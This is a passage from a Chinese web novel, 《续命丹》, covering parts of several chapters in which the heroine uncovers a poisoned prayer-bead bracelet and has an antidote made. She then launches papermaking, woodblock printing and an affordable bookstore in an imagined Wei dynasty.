一瞬间,她只觉呼吸一窒,忙扭头对木槿道:“你快去寻葛医仙。” 木槿见陆萸脸色苍白,忙问:“女公子可是哪里不适?” 陆萸摇摇头催促道:“我无碍,只是想寻葛医仙问些问题,你快去,不然他该睡下了。” 木槿得令后急匆匆去寻葛医仙了。 葛医仙此时正和陆歆在院中品茶赏月,听闻陆萸寻他,且见木槿神色焦急,便带着陆歆一同去了。 陆萸将手上的佛珠取下放在案几上后,将屋内的几盏灯都全部点亮。 不多时,木槿带着葛医仙前来,不曾想祖父,阿兄,妘堂姐都陆续到了。 她忙上前向陆歆和葛医仙行礼后,尴尬道:“打扰大家就寝,实在抱歉。” 大家见陆萸的脸色比之前好了一些,且能下床走动,心中都松了一口气。 待大家都坐定后,陆萸将佛珠手串递给葛医仙,然后问:“葛公能否分辨出这香味是檀香的味道还是药味?” 葛医仙接过手串后,先是在灯下一颗一颗仔细观察,然后拿在鼻尖闻了闻。 过了一会, 35. 第三十五章 心悦 《续命丹》全本免费阅读 所以那个才五岁就能做到临危不惧的男孩,为何要执意离开琅琊王氏,无人知晓真实原因。 陆萸听了祖父一番话,大概猜到曹壬的母亲得了什么病,她从北方高门远嫁南方,远嫁是一场豪赌,需要很大的勇气。 当年的世子第一次成亲且第一次做父亲,难免粗心大意有所疏漏,从而导致曹壬的母亲可能得了很严重的产后抑郁症。 产后抑郁导致冲动和离的案例后世有,产后抑郁虐打孩子的案例后世也有,如今事情已过去十几年,追寻真相已无实际意义。 屋内再次陷入了可怕的寂静中,哪怕大家想自欺欺人的说虽然没有琅琊王氏,好在老南安王夫妇是真心疼爱曹壬的,如今看到被剖开的手串,却是无法这么想了。 老王妃煞费苦心地找来徐医仙,然后自导自演这一切,难道真的只是为了给佛祖找个弟子吗? 在场的人都听过高门大户里那些见不得人的阴私手段,却没有哪一个如南安王府这般,实在是让人忍不住脊背发凉。 在大家还沉浸在这种细思极恐的手段中时,陆萸“噗通”一声跪在了葛医仙面前。 葛医仙回过神,忙道:“地上凉,快些起来。” 陆萸对着葛医仙深深一拜,抬起头时,已是泪流满面,她带着哭音道:“葛公能否救救他,这手串他已经戴了十二年,他还那么年轻,才刚刚寻得自己的梦想。” 陆萸说着,却是泣不成声。 葛医仙忙道:“有手串在,我就能尽快配齐解毒的药方,你先起来。” “我可以试药,再苦我也不怕”陆萸接着道。 “行行,你先休息吧”葛医仙忙劝慰道,这孩子,好不容易调理好了一点就开始折腾。 陆萸被陆纯从地上扶起的时候,她问:“我也可以做个手串给他解毒吗?” 葛医仙还未回答,陆纯却不悦道:“妹妹还是先顾好自己吧,等配好药方直接让他服用不就行了,哪需要那么麻烦。” 陆萸听了,却摇摇头。 她倔强地抓住陆纯的手道:“万不可如此,阿兄可知为何君期被病痛折磨十几年却从未自怨自艾吗?那是因为他的信仰呀!于君期而言,可以身死,可以魂灭,但怎么可以让他知道所有的一切都是最敬爱的人设计好的?那会让他的信仰在瞬间崩塌的。” 陆萸话说的太急,立时止不住剧烈咳嗽起来,咳得太厉害,不得不半个身子倚靠在陆纯肩头。 喘息一瞬,她张嘴想说:那对曹壬太残忍了,话未出口,一口鲜血却从嘴角流了出来。 陆纯见状,吓得连声道:“都依你,你别吓我呀,我这就去做手串。” 葛医仙忙上前给陆萸诊脉后,道:“还好,只是将腑内毒素咳了出来,只是往后切不可如此激动,不然华佗在世也救不了你!” 陆纯将陆萸扶到床上躺下,边整理被子边道:“妹妹先休息,我这就差人找珠子。” 陆萸用温水润了喉咙后,血腥味才彻底被压下,她嘶哑着说了声:“谢谢阿兄”,然后看着陆歆,虚弱地开口:“孙女无能,让祖父受累了。” 陆歆今夜听了许多真相,心里五味陈杂,叹道:“别说这些没用的,好好配合治疗。” 葛医仙和陆歆走了,路上葛医仙向陆歆抱怨道:“你这孙女,原以为是个稳重的,想不到这般急性子。” 陆歆无奈叹道:“小孩子,你多担待一些。” “若我将她治愈,桂花树下的十年陈酿分我一坛?” “行行,别说一坛,给你三坛都行!”陆歆笑道。 二位的声音渐行渐远,陆妘今晚的所见所闻,简直刷新她以往的眼界和认知。 她起身和陆萸告别后,回去的路上还想着那个由至亲亲手打造的毒手串,不知当初静初寺的住持为手串诵经时,可曾想到老南安王妃的计谋。 见到诸葛氏还在屋内等着,陆妘才踏进屋,立马不顾礼仪上前紧紧抱住母亲,然后瓮声瓮气道:“阿娘,谢谢您!” 诸葛氏向来注重礼仪,从未让女儿在外人面前这样随性行事,但如今女儿软软的身子依偎在胸前,心底却柔软成一滩水了。 她揉揉女儿的头顶,宠溺道:“傻孩子,早些休息吧。” 陆妘听了,轻轻点头后更紧的抱住了母亲,谢谢母亲这么多年的细心呵护。 他们都走后,屋内再次安静下来,陆萸想到那个从小到大被至亲洗脑的君期,心口仍在隐隐作痛。 老南安王妃煞费苦心的安排这一切,然后做出一副偏爱长孙的模样,无非就是为了平衡两个孙子。 其实她或许谁都不爱,在她心里,南安王府的和睦高于一切。 曹壬满二十岁就会出家,想必在那以后,手串就会换新的,而药也无需再服用。 如果一切都按老王妃设计好的发展下去,南安王府在建业城将成为父慈子孝、兄友弟恭的典范。 曹壬入了佛门后四大皆空,以他的聪慧,无论拜在哪个住持门下,都能将佛法发扬光大,成为得道高僧。 届时,她这个常年礼佛的崔氏王妃,又将成为慈爱晚辈的模范。 只是,太子突然薨逝,打破了这一切。 她没想到曹壬要去白马寺出家,更没想到,曹壬会将贴身之物送给别人。 陆萸再次庆幸自己将手串戴在手上,而非锁在柜子里当古董,虽然从鬼门关走了一遭,她却依然觉得很值。 陆纯差人找珠子的时候,葛医仙提醒他找菩提子,那样可以把果核掏出来放入药丸。 于是陆纯让人找了一些太阳子菩提,那是一种热地方产的果子,熟果呈红褐色,因每粒上都有一小白点,看起来好像旭日中天,再加上本身的红褐色如同太阳之火,故名为太阳子。 太阳子菩提外壳很坚硬,佛教称太阳神为日神,太阳子寓意驱邪消灾,带给人吉祥、安康,常用来做佛珠。 太阳子很快就找到了,挑选出一批差不多大小的果子后,开始让工匠打孔顺道将里面的果核掏干净,再用非常细的针在果子上扎几个细孔,以方便药物挥发时候好吸收。 葛医仙反复研究了曹壬手串中的药,才开始动手配药,药配好后,先熬制汤药给陆萸服用。 和直接服用的汤药不一样,药丸的配方更复杂。 在陆萸服用了七天汤药后,药丸配方也试验出来了。 太阳子打的孔是用来穿线的,不好直接塞入药丸,于是等药丸熬制水分八分干的时候关火冷却静置。 浓缩的药汁完全冷却后,将珠子与促挥发的药一起扔进去搅拌,不停的翻滚搅拌下,流体药全部渗入菩提子中,慢慢的菩提子里面充满药后,再浸泡几日。 最后将菩提子取出来,在阴凉处阴干,就可以穿线了,想来当初的檀木珠子也是如此炮制的。 制作手串,陆萸选了二十一颗太阳子,费时整整十九天,二十一颗佛珠代表十地、十波罗蜜、佛果等二十一位,是佛门常用的数字。 将近一个月的时间里,陆萸边喝解药边调理身体,之前亏损的身体也终于慢慢恢复了,脸上的婴儿肥也回来了。 陆纯看着这样的陆萸,欣喜道:“还是这样好看,你再不恢复阿兄定要在信里骂我没照顾好妹妹。” 这期间,陆妘常来小院看陆萸,二人也慢慢熟悉起来,万万想不到的是,陆萸原以为的高冷女神背地里是个话痨,而且还很爱八卦。 今日她又说起了建业城传来的八卦:“真没想到,朱氏如此不厚道,张兴明明在朱氏马场受的伤,如今还未满一年,他们竟然想要退亲了。” “想必琳姐姐不会同意”陆萸附和道。 “那是肯定的,朱琳为反对退亲闹了绝食,这事才暂时没提。” “其实我也能理解朱琳的母亲,谁想让女儿嫁个瘸子呀”陆萸叹道。 “唉,张兴虽然在大中正点评时没能入太学,但还有机会举孝廉入仕,如今瘸了当真堵了所有的路,真是可惜”陆妘轻叹。 陆萸刚开始见女神跌落神坛时还有些不习惯,如今倒也习惯她时不时为别人长叹连连。 实在是她出身太好,父母的爱给的充足,且将她保护的太好,与她有关的一切除了心疾,其余没什么值得长吁短叹的。 陆萸叹道:“人生无常,就像大肠包小肠。” “噗嗤”还在忧愁中的陆妘被这句话逗笑了,她笑着轻推一下陆萸的手臂,道:“你这又是哪里听来的歪理呀。” “做梦梦见的”陆萸笑着回,心想:前世真像一场梦。 姐妹俩坐在廊下又笑闹了一会,见葛医仙带着盒子来了,忙起身行礼。 葛医仙摆摆 36. 第三十六章 高起点创业 《续命丹》全本免费阅读 陆萸心想,一个人对感情迟钝些,其实也没有什么不好。 比如自己,后知后觉的发现心悦一人时,恋慕对象已身在佛门。 陆弘来信说因白马寺住持对曹壬非常欣赏,所以想让他提前剃度。 曹壬已经入住白马寺,只需完成十五天斋戒以后就可以正式剃度为僧。 陆弘写信的日子是二十天前,算算日子,曹壬现在已正式成为佛门弟子。 情感迟钝的陆萸不用担心自己会忍不住在红尘中苦苦纠缠他,不用担心会因一腔爱意付出后得不到回应而心生怨怼。 由爱故生忧,由爱故生怖。 如今这样,一切都刚刚好,没有那些爱而不得的死缠烂打反而是相忘于江湖的最佳结局。 陆纯拿到葛医仙做好的手串后,快马加鞭地赶去了洛阳,陆妘和陆萸一起赏过鹤后也踏上了回洛阳的马车。 他们都走了,华亭陆氏庄园的小院又恢复了以往的宁静,春天的气息越来越浓,小院的屋檐下开满了海棠花,带着芬芳迎来了新的一年。 陆萸没有伤春悲秋,而是重新振作起来,按原计划去寻陆歆商量大事,去主院书房的路上,她一遍遍在心底整理着思路。 踏进陆歆的书房时,陆歆正在和葛医仙对弈。 陆萸先向二位行礼,然后笑道:“孙女今日有要事想和祖父相商。” 陆歆伸手拿起一颗棋子,轻轻落下后,笑道:“说吧,难道是想和我讨什么宝贝吗?” 小孩子能有什么要事,陆歆不甚在意,手中执棋脑中还思索着下一步走哪个位置。 陆萸知道接下来说的可能会惹祖父不开心,于是“噗通”一声跪下才道:“孙女在说要事之前想先向祖父请罪。” 葛医仙见状很是不悦:“就爱拿自己的身体瞎折腾,你这么用力的跪,可想过我当初费了多大力气?” 陆萸忙低头行礼:“还请葛公见谅”。 然后直起身看着陆歆道:“祖父能否让仆从退下。” 陆歆眼光睨了一眼正在一旁侯着的两位仆从,仆从悄无声息的退下了,还顺带把书房的门合上。 陆萸这才大胆开口:“孙女有三件要事想和祖父商议,其一,我想改良竹制造纸术;其二,我要研发雕版印刷术,以后不用再靠手工誊抄书籍;其三,我想开个书店,书店的所有书皆由陆氏自己排版印刷再出售,我想开一家所有人都买的起的书店。” 她说的三个要事,一个比一个重磅,陆歆拿着棋子,却呆愣的看着她不知该如何回话,这是一个十一岁的女娃会说的话? 葛医仙刚刚在喝茶,听完最后一句话后,忍不住“噗嗤”一声将口中的茶水喷了出来。 这女娃难道不知道天下人都买得起书将意味着什么吗?那将意味着百年藏书将不再是世家称霸的筹码。 她出自世家,莫非是头脑发热想挖自家的墙角? 见陆歆没回答,陆萸又一鼓作气道:“上品无寒门,下品无士族境况下的大魏,还能太平多久?祖父可还记得当年吴帝孙权逍遥津一役时的仓惶狼狈?世家做大,滋生霸府政权,长此以往,公私罄乏,所在寇乱,州郡携二,分崩离析只在于瞬间,覆巢之下安有完卵?” 只听“啪嗒”一声,陆歆手中的黑棋子从手中滑落,然后滚了一圈来到陆萸跟前才停下。 他又怎会没看清如今的局势,只是他陪着同窗的帝王从年少拼搏到暮年,这局面依然没能得到扭转,壮士暮年的无力感又有谁人能懂? 他眼神沉静,肃声问:“你可知自己在说什么?” 陆萸回:“百年大计,教育为本,星星之火亦可以燎原,如今世家手中紧握华夏文明却不是为国之大计,反而成了滋生霸府政权的资本,我要打破这种资本垄断,开一家能让所有人接触到文明的书店,凡购买本店书籍者皆可免费在本店学习知识。” 葛医仙原本只是以看热闹的心态旁观陆萸大放厥词,如今却是端正了身子,眼中多了一丝赞赏,赤子之心可嘉。 “你可知这样的书店若是开起来得费多少人力物力?”陆歆问。 “我知道,所以我要改良造纸术推广雕版印刷术。” “那你又可知,如果真开了这样的店,会被多少世家抵触?” “我知道,所以我要循序渐进,开店选址从小到大,书籍内容从浅入深排版,知识传递从易到难推进,千里之行始于足下,哪怕再难再慢,我也要走下去,只至整个大魏都有我的书店。” 陆萸说这些话时,目光坚定,语气沉着有力,每一个字都掷地有声令人震耳发聩,而那眼中的光,仿若已经看到了星星之火蔓延了整个大魏。 陆歆看得有些恍惚,瞬间想起那年从太学毕业受品时,自己也是如眼前的女孩,充满斗志,眼中有光,心中有路。 静默片刻,他笑道:“不要跪着,起来说说什么是雕版印刷术吧。” 闻言,陆萸终于松了一口气,她知道自己赌对了。 这个外交官祖父,从她第一次见他时就已看出,他不会真的隐居在会稽碌碌无为度过余生,哪怕已是暮年,他的眼中依然有光。 陆萸起身揉了揉膝盖,走至陆歆一旁席地而坐后,拿出一张纸和一枚条形章,印章上刻有一列字:积土成山,风雨兴焉,她将这些字印在纸上后,正式解释雕版印刷术。 雕版印刷的板料,一般选用纹质细密坚实的木材,然后把木材锯成一块块木板,把要印的字写在薄纸上,反贴在木板上,再根据每个字的笔划,用刀一笔一笔雕刻成阳文,使每个字的笔划突出在板上。 木板雕好以后,就可以印书了,一块木板可以用很多次,意味着一天可以出很多本书。 说完,陆萸又解释了印刷用纸的制作技艺分为:青丝生产、蒸煮黄坯、天然漂白、造纸四个阶段,竹子选的是六个月的嫩竹。 如今刚开春竹子未长叶,纸浆丰富,正是砍竹子的最佳时间。 华亭庄园原就有一批做藤纸的工匠,陆萸已经将做印刷纸的细节写好,想必他们看了就能弄懂具体工序。 她解释完后,递给陆歆道:“祖父可以差人按这个试验一下能不能做出我说的这种纸。” 陆歆拿过陆萸写的东西,细细看过后,眼中多了一丝郑重和赞赏,看来孙女不是空有想法一时冲动而为之,她已做足了准备。 “罢了,你想做就去做吧,刻雕板的师傅也无需去外面找,庄园里有几个木工精湛的工匠,你找他们试一下,至于墨水,我再想想办法。” 一旁的葛医仙突然开口说道:“我有一老友是柴桑人士,他祖上是用庐山松制墨的,只是如今产量不高,名气也不如其他几家制墨大家,我去信问问看。” 陆萸听了,喜出望外,忙道:“多谢葛公。” 葛医仙笑着捋了捋山羊胡,道:“别谢太早,若不成还得另寻其他。” 陆萸却知道肯定能成,庐山的松烟墨后来可是很有名的。 思忖片刻,陆歆交代道:“你先去盯着雕刻板,顺便想想第一板要印刷什么内容,我让人抓紧制纸,等纸成了,我让你三叔联系你,到时候你和他说说想法,让他帮你选址。” “多谢祖父,我这就去准备”陆萸此时别提有多开心,一场轰轰烈烈的变革就要萌芽了。 之所以叫萌芽,是因为陆萸没继续说后面的打算,等到书店大范围铺开后,她要在学生中通过考试选拔人才为陆氏所用,她要潜移默化的改变选拔人才的方式。 无论曹善能不能当选太子,陆氏都要成为陆婠最坚实的后盾,只有那样,陆婠出嫁后才能更有话语权,她不想琅琊王氏世子妃的悲剧再次重演。 好在她还年轻,她有足够的时间慢慢布局,十年二十年,总能选拔出一波人才,总能让大家知道选拔人才除了定品和举荐还可以是考试。 而书店,除了抓教育,她还要想赚钱通道,比如沈玉的游记,比如她想连载发行的西游记,她坚信随着书店名声传播开来,盈利只是早晚的事。 这次被葛医仙从死亡线上抢回来后,陆萸想要把点心产业铺满华采阁所有店铺,她要培养人去华采阁搜集信息,女人多的地方八卦多,也容易搜集到各高门内的信息。 这些计划陆萸还没想好怎么和陆歆商量,欲速则不达,她怕想法太多反而吓到祖父。 她现在心中充满斗志,单相思曹壬且苦恋无果这事,慢慢的也没有那么让人难受了。 她要抓事业,只有事业做大做强,将来不想成亲时,才有筹码和家里人谈自由。 有事情做,时间就过得很快,陆婠来过几次信,想让她回建业,她都以舍不得离开华亭拒绝了。 陆歆原打算陆萸康复后就回会稽庄园,如今因她的造纸计划而耽搁了,他也期待孙女的第一板书籍印刷成什么样子,于是每日让人盯着造纸的进度。 华亭庄园的总管事姓钟,第二天就带着陆萸去找了木工师傅,他推荐的两名木工最擅长雕刻,窗棂上、门板上、立柱上甚至飞檐上那些栩栩如生的花鸟鱼虫兽皆是他们所刻。 两位木工见陆萸时非常谦卑,士农工商,在这个时代,工匠的地位比农民还低,他们一辈子默默无闻和木头打交道,万想不到有朝一日还能参与一场可 37. 第三十七章 太平纸 《续命丹》全本免费阅读 陆萸在华亭忙出版书籍的事,建业的茶点生意全靠秋娘打理。 因为刚过完年,华彩阁的生意很一般, 没有陆萸研发新品,茶点生意也一般。 春天是百花争艳的季节,收到秋娘的信后,陆萸用应季的花做食材搭配山药或者芋头新设计了几款清新爽口的糕点食谱。 想到春日容易干燥,陆萸又新增了玉竹润燥茶和玫瑰养肤茶的配方和制作方法,整理好所有食谱后,一起让陆氏信使带去给秋娘。 不知不觉间,陆萸已在华亭呆了三个月,她编入的成语故事是守株待兔、刻舟求剑、亡羊补牢、愚公移山、温故知新、精忠报国、塞翁失马、安居乐业、滥竽充数、大器晚成。 每个故事都是非常浅显易懂的,涉及到大家都不认识的朝代或人物时,陆萸就用其他代替。 十个启蒙小故事,陆萸写的就更加顺利,都是具有教育意义却又容易理解的,比如《狼来了》《东郭先生和狼》《龟兔赛跑》等。 她把《成语故事》和《启蒙小故事》初稿交给陆歆的时候,心中还是很忐忑的,毕竟这个时代的读书人都习惯看言简意赅的文章,乍一看如此白话的内容,估计会觉得太没文化水平了。 所以她交了稿子以后,用后面还有古文精选要去准备为由,放下稿子就逃离了陆歆的书房。 葛医仙也好奇陆萸会整理出什么模样的书籍,所以一直留在华亭。 看到陆萸跑得没影了,他笑道:“发表惊世言论的时候像个大人,如今又变回孩子了。” 陆歆无奈地笑笑,将稿子分一半给葛医仙,道:“想来是写的不好,怕被我们笑,你也一起评评。” 过了片刻,二人都看完后,却是不约而同地看向了对方,一时不知该如何点评。 葛医仙最先开口:“这种断句方式,莫非是陆氏自创的?” 古代没有标点符号,如何断句也是一门学问,陆萸不但用了标点符号,还专门用一页纸详细解释每个标点的含义。 陆歆摇摇头,叹道:“既不失童真又能心怀志向者才能写出这样的稿子。” 他说的没错,二人一致觉得陆萸写的这些故事太浅显易懂,甚至偏白话太重,但的的确确很吸引人。 只有故事吸引人,那些出生劳苦买不起书的人,在劳累一天后,才会有心情读书。 而这样的书问世后,世家才不会抵触它在市面流通,世家追求的永远是华而不实的文章,书籍的辞藻越华丽越能体现他们深厚的文学造诣。 葛医仙道:“看来文素(陆歆的表字)兄养了个好孙女。” 一个才十一岁就心怀天下、心思缜密且拥有各种奇思妙想的女孩,放在哪个世家都是一个宝。 陆歆谦虚道:“还是你救得及时呀,不然一切白搭。” 二人又就着陆萸的稿子聊了一下如今的局势,心中担忧着现在才开始铺这个局是否还来得及。 陆萸从书房回去后开始准备《古文精选》的初稿,她前世读高中时候,为备战语文高考,花很多精力反复通读了《古文观止》,如今再回想那些文章,只觉得高考学子的基因又被激活了。 她打算每期发五篇古文,选入第一期的是《论语》《曹刿论战》《桃花源记》《伯牙鼓琴》《学弈》,她还打算单独出一本《劝学》用以勉励大家好好学习。 陆萸其实想过出《三字经》和《弟子规》,但是《三字经》宋朝才出,《弟子规》是清朝的,所以如果用这两本作为启蒙,她还得配套出一本译文作为教案,以方便授课的老师讲解。 陆萸把《古文精选》第一期初稿和《劝学》交给陆歆的时候,陆歆笑道:“你上次交的稿子不错,那些标点符号是谁教你的?” 陆萸听了,开心道:“祖父不嫌弃太直白吗?” 陆歆笑笑,道:“既是孩童读物,太复杂没意义。” 陆萸忙行至陆歆身旁坐定后,解释起她设计标点符号的用意,古籍不是每个人都能准确把握断句,而有的句子一旦断句出错,其意思就会和原意大相径庭。 陆萸在陆氏学堂上课时,每日跟着老师学文章,全靠老师替她断句,所以自己摸索了这种办法,这样买书的人不会断句也能看懂书籍上的内容。 陆歆听了,点头赞道:“此法甚好。” 接下来,陆萸又解释了一下这些初稿的选材初衷,并表示还有两本启蒙书还在整理中。 陆歆看了一下《劝学》,道:“这篇选的好,朗朗上口又能激励大家学习。” 陆萸也很喜欢这篇,这篇文思想深邃,论证逻辑清晰,语言鲜活生动,把汉字的美体现的淋淋尽致,以至于背诵后过了几十年依然记得非常清晰。 翻到《桃花源记》,陆歆“咦”了一声,问:“不知此文何人所作?” 陆萸突然想起这个时代没有陶渊明,忙笑着解释:“是一隐世高人,孙女幼时偶然所得。” 陆歆看完后,叹道:“写得出这般文章的人,想来也是个志向高洁的隐士。” 陆萸在心里默默对陶渊明说了一声抱歉,才道:“祖父点评极对,此人非常神秘,无人知晓他身在何处。” 有了这次经验,陆萸想到《三字经》和《弟子规》还得假托隐世高人才行,毕竟这个时代隐居的高人不计其数。 眼看只有一个月就到端午节了,陆萸又写了几个端午礼盒的配方给秋娘,顺便给谢洐也写了一封礼盒促销方案。 有了去年元旦礼盒的成功案例,这次谢洐对端午礼盒很重视,收到信后立马出发来了华亭。 华亭的初夏一派绿意盎然、一路上美景如诗如画,原野上繁花似锦,花香醉人。 谢洐看到百年陆氏庄园内一片祥和景象,不得不感叹天下世家当如陆氏这般才真正算得上百年不衰。 谢洐是没有提前通知突然前来的,所以当陆歆听侍人报陈郡谢九郎递来了拜帖时,还有些摸不住头脑。 一旁的葛医仙笑道:“想来是寻九丫头来了。” 陆歆这才想起孙女说过想在华彩阁的茶点铺子安插细作的事,他当时听到这个主意时心里也是忧虑多于欢喜的。 一个小女孩,心里装这么多事,作为长辈的他其实更多的是心疼。 这个年龄的女郎若生在其他世家,应当无忧无虑,只关心漂亮衣服和首饰,然后时常约着好友游山玩水才是。 谢洐和陆恭年纪相仿,三十五岁的年龄却保养的很好,一派风流公子样,进屋向陆歆行礼后,才说明此次突然登门的原因。 陆歆听了,忙笑着回:“九公子让吾孙有机会施展爱好,我这个长辈当主动邀你点茶作谢才是。” 陆歆在洛阳任职期间,因陆恭的父兄常年征战在外,所以陆恭是由陆歆养大的,而作为陆恭的好友,谢洐年少时经常去陆府也常碰到陆歆。 所以谢洐知道陆歆是个非常开明的长辈,他聊起与陆萸合作的事也就没什么隐瞒的,反而多次夸赞陆萸的奇思妙想。 自家孙女被夸,没有哪个长辈不高兴的,他告诉谢洐陆萸的去向后,就让人给谢洐安排了客房。 谢洐找到陆萸时,陆萸正在造纸坊内和工匠讨论步骤。 晒干后的竹丝需要用石灰水发酵两三个月后捞出洗净晒干,然后用清水泡,去除杂质,晒干,舂细。 现在到了清水浸泡去杂质的阶段,陆萸在一旁再三叮嘱工人去杂质时要仔细认真,不然做出来的纸不够光滑也不够白。 为了方便看工匠造纸,陆萸穿的也是一身干净利落的短打,听木槿报谢洐在外面等着,连衣服都没换就直接去见他了。 造纸坊里空气不好,环境差,像谢洐这样的世家公子是不会踏足其间的。 看到陆萸出来,谢洐满脸嫌弃的开口:“才几月不见,小九怎么混成这模样了?” 陆萸低头看了一下自己,还好呀,就是刚刚溅了一些泡竹丝的水在身上,虽然只是短打,用料却是不差的。 看了眼一身华服的谢洐,陆萸笑道:“谢九叔是东都洛阳女郎们的梦中情郎,自然要穿得好看些,我又没人在意,穿衣服自然怎么舒坦怎么穿。” “不错,已经有精力打趣长辈,看来病已经痊愈”谢洐笑道。 谢洐去太守府拜访魏氏时,魏氏向他解释陆萸因伤寒严重所以留在华亭养病。 想到去年准备完元旦礼盒陆萸就累病了,他心里有些过意不去,所以特意来了华亭。 如今见她面色活润,眼神一如以往的明亮,他心里终于放心下来,于是笑道:“在建业听不到你那些故事,无聊的紧,就来看看你又再鼓捣些什么。” 陆萸还没想好是否要向谢洐说开书店的事,于是回道:“我看到工匠造纸甚是有趣,所以就留下来了。” “造纸坊臭烘烘的,有何可看的,端午将至,你不随我一起回去?”谢洐问。 陆萸想了一下,才道:“难得陪祖父,我想再多留些时间。” 谢洐可不信陆萸是为了陆歆留在华亭,不过小孩子嘛,难说真是喜欢看造纸或者为逃避去学堂上课才留在华亭。 他也不点破,只说明了此番来意,一是信上的方案不够详细,需要再商讨得详细些,二是礼盒的包装,还得陆萸设计,端午和元旦不一样,不能设计太喜庆。 陆萸听了, 38. 第三十八章 星火书店 如今纸张已经准备好,陆萸和柴桑赵氏签订了长期合作协议,协议中赵氏除了提供用于印刷的墨糊,还要提供店内销售的墨锭和墨块。 鉴于江东陆氏良好的信誉,柴桑赵氏给的条件非常宽松,墨糊按当月配送量当月结算,墨锭和墨块则按店铺销售情况两月结算一次即可。 一切准备就绪,陆萸开始让陆三叔准备选址了。 陆三叔名陆显,他从小就对经商感兴趣,自接手陆氏产业后,将所有产业打理得井井有条,陆萸才与他说了自己的想法,他心中就已经划定好了范围。 陆歆被封为会稽侯后,当今陛下在原陆氏祖上隐居的地方又分了一些土地给陆歆建庄园,庄园就在会稽郡山阴县境内。 山阴县作为会稽郡的治所,人口密度比其他县大,交通、经济都是会稽郡境内最发达的。 而之所以选在会稽郡境内除了陆歆常年居住会稽庄园好监管店铺之外,会稽郡太守出自吴兴沈氏,就是沈玉大伯的嫡长子。 沈氏和陆氏素来交好,如果在沈氏治下开店可以免去很多麻烦,毕竟这样特殊的书店一旦开起来,日后免不了被世家打压。 选定铺面后,陆萸开始了大批量印刷工作,为保护核心机密,从写样到书本装订完成,其中每个环节分不同的工坊完成。 负责写样的门生有三人,其三人完成写样后交雕刻工匠制作雕刻板,而木工雕刻完后,交给负责印刷的工人。 印刷工完成印刷后,所有纸稿都交给校对的人,这个环节很关键,陆萸先让几个门生暂时负责,打算到时候再找一个责任心强的人的做总监。 第一次校对完后,纸稿交付装订工坊,装订工坊全是女工,负责纸稿对折压平,打孔装订。 纸稿全部装订成书籍后,重新交回校对处再次校对才可上市。 为了吸引人买书,陆萸给每本书都设计了封面,千字文的封面是一个牧童坐在草地上嘴里叼着狗尾巴草,手上捧着书看的津津有味,有一头水牛在旁边吃草。 《成语故事》的封面是四个不同神态的小童在树下看书,《启蒙小故事》的封面是一个母亲坐在窗前给两个小童讲故事,一轮明月挂在窗外。 《古文精选》的封面陆萸想每期设计一款,这一期选的是华亭庄园中的海棠花,而《劝学》的封面是一位老者坐在书案前给一个孩童授课。 她把封面设计好后就交给木工师傅雕刻了,这些简易的单笔画比起刻字来说太容易了,他们很快就雕刻完成。 因为太平纸薄而光滑,所以陆萸依然用陆氏原有的藤纸作为封面纸,藤纸统一浸染成栗色并印刷上设计好的封面后再进行装订。 负责校对的几位门生第一次拿到印刷纸稿时既惊叹纸张的品质,又感叹每页一模一样的字不知是怎样如此快速完成的,等装订坊将装订好的成书交回给他们校对时,就真的只剩下惊叹了。 都说江东陆氏既能文又能武,自汉以来百年间起起落落却能屹立不倒,所以他们才费尽心思投靠到陆氏门下。 如今见到陆氏拥有如此精湛的造纸工艺和如此神速的制书工艺,心里不止一次感叹自己真是慧眼识珠,更是对未来充满自信,干起活来也更加认真了。 第一次开店,书籍印刷数量陆萸没敢定太多,每本书只印刷了一百册,打算试水成功后再加印。 所有的书制好装箱后,陆萸就随陆歆一起从华亭乘马车去山阴县,三叔已经将书店装修完成,书拉过去就可以上架,然后选个日子开业即刻。 华亭县至山阴县距离不是太远,陆歆的马车稳而快捷,只花了一个白天的时间就到达会稽陆氏庄园。 陆萸上次来会稽庄园的时候是来看茶山的,当初她提出新的制茶方法时,陆歆只当她是小孩因为好吃所以闹着玩的,如今听过她讲述的有关后世的一场梦后,再次感叹梦中世界的繁荣。 第二日清晨,祖孙二人跟着陆显去山阴县城查看新装修的店铺,店铺没有选在热闹的主街上,而是靠近河边一个环境优雅的地方。 店铺主楼有二层,因是书店,店内装潢以简单大气为主,主楼后面带有院子,院子两侧皆有矮房。 右侧的房间是书店伙计和掌柜的起居处,左侧的房间打算留一间仓库,其余做教室。 院中有一口井,陆萸打算到时候栽一棵海棠树在院子中间,小院的后门外是一条河,河畔种满柳树。 绕了一圈后,祖孙二人都对三叔的办事能力非常满意,几乎没有什么需要改动的。 陆显已经按陆萸的要求做好店铺牌匾,名“星火书店”,源于星星之火可以燎原,当初陆歆听后也很喜欢这个名字。 就这样,星火书店在一个风和日丽的早晨开业了。 陆萸开业前考察过书的市场行情,那些书几乎都是以一两银子起步,甚至还有更贵的。 为了吸引大众客户,她把启蒙类的书统一定价二十钱一本,而《古文精选》和《劝学》定为五十钱一本。 按理来说这样便宜的书,加上有店小二去主大街上吆喝,怎么也会吸引一些顾客,但是一天下来,因为好奇,单纯进来绕一圈的人多,真正买书的人极少。 连续三天过去了,星火书店只卖出一套《三字经》和《弟子规》,那还是县城里一家富户的女郎因为好奇,打算买回去慢慢研读的。 就这样,陆萸开始自我怀疑,一会怀疑销售模式,一会怀疑商品定价,一会又怀疑是不是店铺位置太偏,又或许是她高估了这个时代劳苦大众的求知欲了。 陆三叔再次到店上时,看到陆萸正一副愁眉苦脸的趴在柜台上,而店里的伙计都去前大街吆喝去了。 他笑道:“怎么,才三天就泄气了?” 陆萸见到三叔,仿佛见到救星,忙起身给他端茶倒水,待他在一旁坐定后,一股脑将这几天的情况和他分析了一通。 说完了,她颓然道:“三叔,我是不是太异想天开了?” 陆萸的出发点是好的,客户定位其实也没错,只是她没有真正接触过这种基层销售,所以她不知道如何引入客流。 陆显没有全然替陆萸包办开店,是想给侄女锻炼的机会,如今他打算主动教教她,于是笑道:“你不是异想天开,只是因为从未生活在底层,所以不知他们最在意的是什么。” 陆萸心想她当年就是农民,不过想到毕竟时代不同,于是虚心道:“还请三叔赐教。” 陆显抿了一口茶后,道:“劳苦者,先要吃饱才会想要追求知识。” 陆萸点点头,道:“所以我把书价定的低。” 陆显笑道:“你现在想的应该是怎样让他们找到吃饱的法子,而不是想怎么卖书。” 吃饱的法子?读书好像确实不能立刻吃饱,陆萸低头想了一下,脑中一个激灵,就业!对,就是就业。 见陆萸两眼发光,陆显再次抿了一口茶后,笑问:“阿萸可是想到法子了?” 陆萸猛点头,然后把自己的想法告诉陆显。 她想让店小二去吆喝招工启事,招的工不卖身不签死契,每月薪水十两银子,前提是学会店内的书籍并通过考核。 